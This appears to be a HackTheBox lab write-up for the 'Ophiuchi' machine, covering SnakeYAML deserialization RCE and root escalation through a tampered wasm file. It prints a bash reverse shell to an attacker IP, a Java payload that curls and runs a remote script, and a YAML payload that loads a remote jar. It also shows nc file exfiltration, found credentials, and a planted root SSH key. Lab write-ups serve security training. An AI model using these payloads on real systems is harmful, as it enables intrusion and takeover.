Hackthebox Ophiuchi - Writeup
This is a medium difficulty hackthebox machine, exploited using YAML deserialization vulnerablity for SnakeYAML used in java applications, and modifying wasm file to get root privileges.
We write the IP of the machine to our /etc/hosts file
echo "10.10.10.227 ophiuchi.htb" >> /etc/hosts
Nmap Scan
Open ports:
- 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux;
protocol 2.0)
- 8080/tcp open http Apache Tomcat 9.0.38
Enumeration
Port 8080 - Apache tomcat server
Going over to the page, we find a YAML parser. YAML is a human-readable data-serialization language. It is commonly used for configuration files and in applications where data is being stored or transmitted.
So lets check if we can exploit it using deserialization vulnerability. Googling for a bit, we find that SnakeYAML which is used in Java applications is vulnerable to deserialization. Found a really good medium blog by Swapneil Kumar Dash here.
We can use this deserialization vulnerablity to get remote code execution. The original paper is to be found at https://github.com/mbechler/marshalsec And the YAML payload we are going to use is found at https://github.com/artsploit/yaml-payload
SnakeYAML deserialization exploit
We clone the repo and edit AwesomeScriptEngineFactory.java file to execute are desired commands.
git clone https://github.com/artsploit/yaml-payload
We can execute system commands useing the
Runtime.getRuntime().exec()
. We write a bash script
revshell.sh as follows
#!/bin/sh
bash -i >& /dev/tcp/10.10.14.6/8888 0>&1
Next we insert the commands to be executed on target machine. We use
curl
to get the revshell.sh from our machine and execute
it.
package artsploit;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("curl http://10.10.14.6/mash.sh -o /tmp/mash.sh");
Runtime.getRuntime().exec("bash /tmp/mash.sh");
} catch (IOException e) {
.printStackTrace();
e}
}
...
...
Now as per the instructions, we use the following commands to get our payload jar file
cd yaml-payload
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
Now, we have our payload jar file. We start a python web server at port 80 and insert the following YAML into the parser to get RCE. We also open a nc listener at port 8888 to get our reverse shell.
python3 -m http.server 80
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.14.6/yaml-payload.jar"]
]]
]
We can now get our reverse shell as user tomcat
.
Privilege Escalation - User
Going to the home
directory, we find a user named
admin
.
Browsing around, we find the user creds in the file
/opt/tomcat/conf/tomcat-users.xsd
. We find the following in
the file
user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/> <
Creds found:
User: admin
Password: whythereisalimit
We can now ssh into the machine as suer admin using the obtained creds.
Privilege Escalation - root
First, we check what sudo capabilities our user admin got using
sudo -l
.
We find the following
(ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go
So we can run
/usr/bin/go run /opt/wasm-functions/index.go
with root
privileges. Let’s check out the file. We get the following
package main
import (
"fmt"
"github.com/wasmerio/wasmer-go/wasmer"
wasm "os/exec"
"log"
)
func main() {
, _ := wasm.ReadBytes("main.wasm")
bytes
, _ := wasm.NewInstance(bytes)
instancedefer instance.Close()
:= instance.Exports["info"]
init ,_ := init()
result:= result.String()
f if (f != "1") { <==========================================
.Println("Not ready to deploy")
fmt} else {
.Println("Ready to deploy")
fmt, err := exec.Command("/bin/sh", "deploy.sh").Output()
outif err != nil {
.Fatal(err)
log}
.Println(string(out))
fmt}
}
Here, we see that, functions and variables ar imported from the
main.wasm
file and checking the value of the varibale
f
, if it equals 1
, we get ready to deploy and
execute /bin/sh deploy.sh
.
What’s notable here is that absolute path is not used for
main.wasm
and the deploy.sh
files. So we can
manipulate these. These files will be read from our current working
directory, from where we run the index.go
file.
We make our working directory in tmp
and copy over the
main.wasm
file.
cd tmp
mkdir work && cd work
cp /opt/wasm-functions/main.wasm ./
We write our own deploy.sh file that echos out the id
of
the user.
#!/bin/sh
echo $(id)
Now, we run the following as sudo
sudo /usr/bin/go run /opt/wasm-functions/index.go
We get the error Not ready to deploy
. So the value of
f
is not 1
, which is read from the wasm
file.
Wasm is short for WebAssembly. WebAssembly is an open standard that defines a portable binary-code format for executable programs, and a corresponding textual assembly language, as well as interfaces for facilitating interactions between such programs and their host environment.
The text readable format of WASM binary is WAT(Web Assembly Text). We
can manipulate the value of f
editing the wasm file in this
format.
We install the toolsuit https://github.com/webassembly/wabt
We have 2 binaries wasm2wat
and wat2wasm
that
we can use.
We transfer the main.wasm file from the target machine to our local machine using nc
cat main.wasm | nc {your-ip} {your-port} (on target)
nc -lnvp {your-port} > main.wasm (on local)
We convert the wasm to wat and get the following
wasm2wat main.wasm > main.wat
cat main.wat
(module
(type (;0;) (func (result i32)))
(func $info (type 0) (result i32)
i32.const 0) <=======================================
(table (;0;) 1 1 funcref)
(memory (;0;) 16)
(global (;0;) (mut i32) (i32.const 1048576))
(global (;1;) i32 (i32.const 1048576))
(global (;2;) i32 (i32.const 1048576))
(export "memory" (memory 0))
(export "info" (func $info))
(export "__data_end" (global 1)) (export "__heap_base" (global 2)))
Here we see that the value of f is a constant 0
, we
change that to 1
, our required value.
[-] i32.const 0) [+] i32.const 1)
Now we conver the wat back to nasm and move it to our target machine working directory.
wat2wasm main.wat
scp main.wasm admin@ophiuchi.htb:/tmp/work
Now, we run the sudo command again. And this time we get command execution as root
Ready to deploy
uid=0(root) gid=0(root) groups=0(root)
We get our id_rsa.pub
using ssh-keygen
and
paste it to the authorized_keys
file at
/root/.ssh/
using the deploy.sh
fileto be able
to SSH into the machine as root.
#!/bin/sh
echo $(id)
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABA***********************************************************************************************************************************************
***************************************************************************************************************************************************************************************
*********************************************************************************************************************************************************************************7BLa+Y
zHy+9fuMs= root@kali" >> /root/.ssh/authorized_keys
Now we can ssh into root and get our root.txt file
ssh root@ophiuchi.htb
cat root.txt